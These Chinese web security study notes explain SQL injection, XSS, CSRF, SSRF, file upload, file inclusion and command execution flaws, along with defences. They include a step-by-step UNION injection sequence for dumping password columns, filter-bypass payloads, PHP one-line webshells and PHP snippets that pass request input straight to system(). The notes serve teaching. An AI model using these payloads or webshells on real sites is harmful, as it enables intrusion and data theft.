SQL有效措施是过滤/转义,或将参数进行预编译或进行参数化查询
SQL注入的主要目的在于利用存在缺陷的查询功能来获取站点对应的数据库内容。 SQL注入最大危害在于数据泄露,但SQL注入不能直接获得web系统的权限,因攻击者可以利用SQL注入来获取数据,但无法控制站点。
1)对SQL注入没有防范意识 2)现在许多教程或者模板存在SQL注入漏洞 3)Internet上给处的许多解决办法并没有从根本上解决问题 4) 数据库管理员对数据库权限设置不合理
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构 拼接SQL语句,数据库查询 SQL注入是攻击者通过把恶意SQL命令插入web表单的输入域或页面请求的查询字符串中,并且插入的恶意SQL命令会导致原有的SQL语句发生改变,从而达到欺骗服务器执行恶意的SQL命令的一种攻击方式。
根据类型分类 1)数字型注入点;注入点的数据,拼接到 SQL语句中是以数字型出现的,即数据两边没有被单引号,双引号包括 如:http://xxx.com/new.php?id=1 2)字符型注入点 如:http://xxx.com/new.php?name=admin 3)搜索型注入点 如:http://xxx.com/new.php?keyword=admin
根据数据提交方式分类 1)GET注入 2)POST注入 3)Cookie注入 4)HTTP头部注入
按照执行效果分类 ① 基于布尔的盲注 and 1=1和and 1=2 两次页面状态是否相同,不相同,存在布尔类型的状态 ②基于时间的盲注 如:sleep(5) 通过网络时间线看到延时 ③基于报错的盲注 如:update flop exp ④联合查询注入:可以使用Union的情况下注入,id的值+1/-1,页面发生变化 ⑤堆查询注入
攻击者注入一段包含注释符的SQL语句,将原来语句的一部分注释掉 单行注释:#后面直接家内容 –后面必须加空格 多行注释:/**/ 内联注释:MySQL数据库为了保持与其他数据库兼容,把一些特有的语句放在/!…/中,这些语句在不兼容的数据库中使用不会被执行,而MySQL自身却能识别,执行。如:/!50001/表示数据库版本>=5.0001时中间的语句才会执行。在SQL注入中,内联注释长用来绕过waf
1)初始安装mysql数据库后,会默认创建4个系统数据库,Database,information,mysql和performation_schema 2)MySQL 常用函数与参数 3)union操作符用于合并两个或多个select语句结果集,union所查询的列数,列的顺序必须相同,数据类型必须兼容 4)Order by 语句:根据指定的列对结果集进行排序,默认按照升序对记录进行排序 如:[order by 1]就是按照第一列进行排序,如果MySQL没有找到相应的列,就会报错,可以依次增加数字,知道数据库报错,从而判断表的字段个数
1)求闭合字符 是否有回显 联合查询 是否有报错 报错注入 是否有布尔类型状态 布尔盲注 绝招 延时注入sleep()函数 2)求列数 使用order by 函数 http://192.1.1.197/cat.php?id=1(真值)order by 5-- + 3)求显示位 使用order by 语句或null a)[?id=1 union select 1,2,3,4 – +]页面显示为第一张虚拟表的内容,可以考虑让第一张虚拟表的查询条件为假,显示第二条记录 [?id=1 and 0(假值) union select 1,2,3,4 – +] b)[?id=1 and 0(假值) union select null,null,null,null – +] 4)查询当前数据库名 [database()] [?id=1 and 0(假值) union select 1,database(),3,4 – +] 查询数据库版本 [?id=1 and 0 union select 1,2,version(),4,-- +] 5)查询当前数据库中所有的表名 [?id=1 and 0 union select 1,2,group_concat(table_name), 4 from information_schema.tables where table_schema=database()-- +] 6)查询当前数据库中users表中所有的列名 [?id=-1’union select1,group_concat(column_name),3 from information_schema.columns where table_name=’users’ and tables_schema=database()-- +] 7)查询当前数据库中users表中password列的数据 http://192.168.1.197/cat.php?id=1 and union select 1,group_concat(password),3,4 from users --+
1)大小写混写 2)多重关键字 3)编码 4)注释 5)等价函数或命令 6)特殊字符 7)组合绕过
XSS防御重点是对连接、提交参数的过滤
XSS攻击原理:将恶意代码嵌入到当前网页中并执行的攻击方式 XSS最大的特点就是能注入恶意代码的HTML/JaveScript代码到用户浏览的网页上,从而达到劫持会话的目的。由于HTML代码和客户端JaveScript脚本能在受害者主机的浏览器任意执行,这样等同于完全控制了web客户端的逻辑,在这个基础上,黑客或攻击者可以轻而易举的发动各种各样的攻击。
web浏览器本身的设计是不安全的;web应用程序的输入和输出过程中没有做好安全防护;XSS技术运用灵活多变,要做到完全的防护是一件相当困难的事情等
POC:漏洞的验证与检测 EXP:漏洞的完整利用工具 Shellcode:利用漏洞时,所执行的代码 Payload :攻击载荷,sqlmap中,为攻击代码的模板;msf中,与shellcode类似,功能是建立与目标的连接
验证XSS漏洞存在的POC有:
1)反射型:需要攻击者提前构造一个恶意链接,诱使客户点击;如:在搜索框中,提交POC<script>alert(/xss/)</script>,点击搜索,可能触发反射型XSS。涉及浏览器——服务器交互 2)存储型:他的相关源代码存放于服务器,用户访问该页面的时候触发代码执行,危害最大;存储型XSS通常发生在留言板等地方。在留言板留言,将恶意代码写入数据库中。因为XSS使用JS代码,需要从浏览器从服务器载入恶意的XSS代码,才能触发XSS。涉及浏览器——服务器——数据库交互 4)DOM型:利用非法输入来闭合对应的html标签。涉及浏览器——服务器交互
1)利用[<>]来构造HTML标签和<script>标签 2)伪协议;[javascript:alert(/xss/);] 如:提交参数[<a href=”javascript:alert(/xss/)”>touch me!</a>],点击超链接,即可触发XSS 3)产生自己的事件;如:windows事件,Form事件,Mouse事件等
① 目标网页有攻击者可控的输出点 ② 输入信息可以在受害者的浏览器中显示 ③ 输入具备功能的可执行脚本,且在信息输入和输出的过程中没有特殊字符的过滤和字符转义等防护措施,或防护措施可以通过一定手段绕过 ④ 浏览器将输出解析为脚本,并具备执行脚本的能力 以上四点缺一不可
①漏洞挖掘,寻找输入点(留言板,在线信箱,评论栏等) ②寻找输出点 ③确定测试数据输出位置 ④输入简单的跨站代码进行测试 弹窗测试:<script>alert(/xss/)</script>
1)闭合标签测试如:</textarea><script>alert(/xss/)</script> 2)大小写混合 如:<sCriPt>alert(/xss/)</sCriPt> 3)多重嵌套测试 如:<scr<script>ipt>alert(/xss/)</script> 4)黑名单绕过,不使用” ‘ () ()’“ 使用html实体编码绕过 使用html 实体编码绕过变形 5)宽字节绕过 6)编码绕过 7)双写绕过
1)过滤特殊字符;针对用户提交的数据进行有效的验证,只接受规定的长度或内容的提交,过滤其他输入内容 2)对危险字符进行html编码;在html中有些字符对于html来说具有特殊意义,是组成语法结构的关键组成 3)使用http only; 将http only标记为JaveScript脚本之后便不能访问cookie
1)XSS Filter;过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果 2)输入过滤;输入是否仅仅包含合法的字符,输入字符串是否超过最大长度限制,输入如果为数字,数字是否在指定的范围,输入是否符合特殊的格式要求,如Email地址,IP地址等,“永远不要相信用户的输入”是网站开发的基本常识 3)数据消毒;输入过滤中最重要的还是过滤和净化有害的输入,如<> ‘ “ & # javescript expreesion 4)输出编码;用对应的HTML实体代替字面量字符,可确保浏览器安全处理可能存在的恶意字符,将其当作HTML文档的内容而非结构加以处理。如:<的实体名字为<;它的实体编号为<; 5)黑名单;程序先列出不能出现的对象清单,发现使用者输入<script>xxx</script>就将其代替为空白 6)白名单;列出可被接受的对象,除此之外的其他对象都被抛弃或过滤掉
1)网站钓鱼 2)窃取用户cookies资料 3)劫持用户(浏览器)会话 4)强制弹出广告页面,刷流等
CSRF重点是对业务开展的合法性进行验证
CSRF强制终端用户在当前对其进行身份验证后的web应用程序上执行非本意操作,CSRF的关键点在于伪装,伪装来自信任用户的请求进行攻击
攻击者伪造当前用户行为,让服务器误以为请求由当前用户发起的,并利用当前用户的权限实现业务请求伪造。
攻击者伪造一个页面,页面功能为伪造当前用户的行为。当用户点击恶意页面时,会自动向当前用户的服务器提交攻击者伪造的业务请求。
①用户处于登录状态 ②伪造的链接与正常应用请求链接一致 ③后台未对用户业务开展合法性做校验
POST请求方式的复杂之处在于需要创建一个隐藏表单
1)验证HTTP Referer字段;在正常的页面请求中,如果用户点击按钮等正常点解跳转都会将Referer发送给服务器,程序只需拿到值之后进行校验,如果没有或者是其他网站的话就可能使CSRF攻击 2)请求参数添加token验证;找一个不可伪造的参数来校验请求是否伪造,可以在请求中加入随机的token,每次的请求都随机,这样服务的验证token即可 3)在HTTP头中添加自定义属性;该方法也是使用token验证,和第二种方法不同的是,并不是将token放入HTTP参数中,而是放入到HTTP自定义的属性中,这样一次性给所有的HTTP请求都加了token,减少了token泄漏的风险 4)验证码;具有随机性,可以很好的解决CSRF的问题,但很多时候处于用户体验,不能给所有的操作都加上验证码,所有验证码只能使一种辅助手段
利用服务器的最高权限实现对当前系统敏感信息的访问 攻击者需伪造的请求为服务器发起的内容。前提是web服务器存在向其它服务器发起请求并获取数据的功能,并且在获取过程中并未对目标地址进行安全过滤或加以限制,导致服务器的请求被伪造,进而实现后续的攻击
①图片加载与下载功能 ②本地处理功能 ③各类辅助功能 ④图片、文章收藏功能
用户请求的合法性 服务器行为的合规性
文件上传攻击防护重点是限制用户上传文件的类型
1)目标网站具有上传功能 2)上传的目标文件能被We服务器解析执行 3)知道文件上传到服务器后的存放路径和文件名字 4)目标文件可以被用户访问
①客户端上传功能;用户提交上传表单 ②中间件上传功能;接受客户端提交的HTML表单、将表单内容存储为临时文件、将临时文件保存为正式文件 ③服务器存储及调用;调用与执行文件
1)文件上传时检查不严,没有对文件格式进行检查;一些应用仅仅在客户端进行了检查,而在专业的攻击者眼中几乎所有的客户端检查都形同虚设,攻击者可以通过NC,Fiddle等断点上传工具轻松绕过客户端的检查 2)网站在服务器端进行了黑名单检查,但可能忽略了大小写; 3)网站在服务器上设置了白名单检查,但可能忘记了 截断 4)文件上传后修改文件名时处理不当;一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件按文件名时却百密一疏,允许用户修改文件后缀
Webshell是一个网站的后门,也是一个命令解释器,以web方式通信,继承了web用户的权限,webshell的本质是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp等
一句话木马,短小精悍,功能强大,与中国菜刀配合使用
<? php @eval($_POST[‘c’]);?> @eval执行后面请求到的数据 <? php $_GET[a]($_GET[b]));?> GET利用URL进行传输,参数a传入执行命令,参数b中传入代码 <? php @eval($_GET[$_GET[b]]);)?>黑白名单策略
1)利用判断网站速度来验证是否启用JS验证,因为JS验证用于客户端本地的验证,所有若上传了一个不正确的文件格式,它的判断会很快显示出上传的文件类型不正确,就能判断出该网站是否使用JS验证 2)绕过JS验证——禁用浏览器JS功能 JS绕过方式 ①直接删除代码里onsubmit事件中关于文件上传时验证上传文件的关键代码,可利用浏览器的边界功能 ②直接更改JS脚本,加预期的扩展名 ③用户浏览器禁用JS功能,导致过滤效果直接失效 ④伪造后缀名绕过JS检查,并采用HTTP代理工具(Burpsuite、Fiddler)进行拦截,修改文件名后即可成功绕过
MIME消息能包含文本,图像,音频,视频以及其他应用程序专用的数据。 常见的MIME类型如下: .html .jpg .js .png .pdf 在HTTP协议中,使用Content-Type字段表示文件的MIME类型。当上传文件时,抓HTTP包
CMS:网站内容管理系统
1)忽略的扩展名;攻击者课堂在黑名单中找到web开发人员忽略的扩展名,如cer 2)大小写转换 3)Windows特性;如果文件名以“.”或空格作为结尾,系统会自动去除掉“.”与空格。如:上传“asp.”或“asp-”扩展名程序,服务器端接受文件名后在写文件操作时,Windows将自动去除小数点和空格 4)双写后缀
1)校验上传文件 2)中间间防御 3)取随机文件名 4)禁止关键目录执行权限
文件包含攻击主要在低版本的PHP中可有效进行,采用高版本,并配合有效过滤手段,基本可以解决大量文件包含攻击
注入一段用户能控制的脚本或代码,并让服务器以某种方式执行用户传入参数
Include、require、include_once、require_once
上传文件包含 日志文件包含 敏感文件包含;系统文件:passwd、shadow、environ等;配置文件:包含httpd ,conf,php,ini等 临时文件包含 PHP封装协议包含
①文件后缀名固定 ②文件名过滤 ③路径限制 ④中间件安全配置
防护手段: ①尽可能保持中间机及PHP版本最新,从而避免低版本中存在大量利用 、…/…/、点号截断的情况 ②利用配置文件中的目录限制功能对用户可访问的目录进行限制 ③利用黑白名单进行过滤
攻击者通过浏览器或其他客户端软件向web应用程序提交系统命令,并成功执行。漏洞的关键还是对用户输入的内容未做严格校验导致
命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
1)system()函数;能够将字符串作为OS 命令执行,自带输出功能 例:
<?php if($_GET[‘cmd’]){ $str=$_GET[‘cmd’]; system($str); } ?>在URL中输入,cmd=dir, ping www.baidu.com ,systeminfo ,netuser ,whoami
2)passthru()函数;函数可以用来执行一个UNIX系统命令并显示原始的输出 例:
<?php if($_GET[‘cmd’]){ $str=$_GET[‘cmd’]; passthru($str); } ?>3)exec()函数;能够将字符串作为OS命令执行,需要输出执行结果 例:
<?php if($_GET[‘cmd’]){ $str=$_GET[‘cmd’]; print exec($str); } ?>例:
<?php if($_GET[‘cmd’]){ $str=$_GET[‘cmd’]; print shell_exec($str); } ?>4)eval函数; 函数会将参数字符串作为PHP程序代码来执行,将PHP代码保存成字符串的形式,然后传递给eval函数执行 5)反引号
是用户能够控制函数输入和可以执行危险命令的系统函数
1)继承web服务程序的权限去执行系统命令或读写文件 2)反弹shell 3)进一步内网渗透 4)控制整个网站甚至服务器
1)不执行外部的应用程序或命令;尽量使用自定义函数或库函数实现外部应用程序或命令的功能。在执行system,eval命令执行功能函数前,要确认参数是否合法 2)参数尽量使用引数包裹,并在拼接前调用addslashes函数进行转义 3)尽量少用命令执行函数或禁用 4)在使用动态函数之前,确保使用的函数是指定的函数之一
1)使用escapeshellarg函数处理相关参数,scapeshellarg函数会将任何引起参数或命令结束的字符进行转义 2)使用safe_mode_exec_dir执行可执行文件路径
能够被中间件畸形解析成功的,如IIS6.0将xx.asp;.jpg解析为asp;Apache将xx.php.php123解析为php;
由于web服务器或者web应用程序对用户输入的文件名称安全性校验不足导致的一种漏洞,使得攻击者通过利用一些特殊字符绕过服务器的安全限制,访问任意文件,甚至执行系统命令 1)IIS目录遍历:是IIS的一个功能项,开启了目录浏览功能,可能会导致IIS目录遍历漏洞 2)Apache目录遍历:当客户端访问一个目录时,Apache服务器会默认寻找index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为
1)IIS中间件:网站配置中将目录浏览的选项关闭 2)Apache中间件:将httpd.conf中Options+Indexs+FollowsymLinks+ExecCGl修改为Options_Indexs+FollowsymLinks+ExecCGl并保存
客户端保持方式Cookie、Session HTTP协议的无状态性指协议对事物处理没有记忆功能
Cookie:包含名字、内容、创建时间、过期时间、路径、域 SOP同源策略:区分不同站点的cookie信息
CMS 内容管理系统,通常指一套完整的网站模板或建站系统
常见的远程管理方式 Windows远程登录 Linux SSH 22端口
①关闭或修改服务器开放端口 ②利用防护工具,如:网站安全狗 ③采用成熟的CMS系统
①隐藏web服务器的banner;利用Nmap扫描,错误路径触发目标站点显示404,抓取response包 ②Robots.txt ③提升后台地址复杂性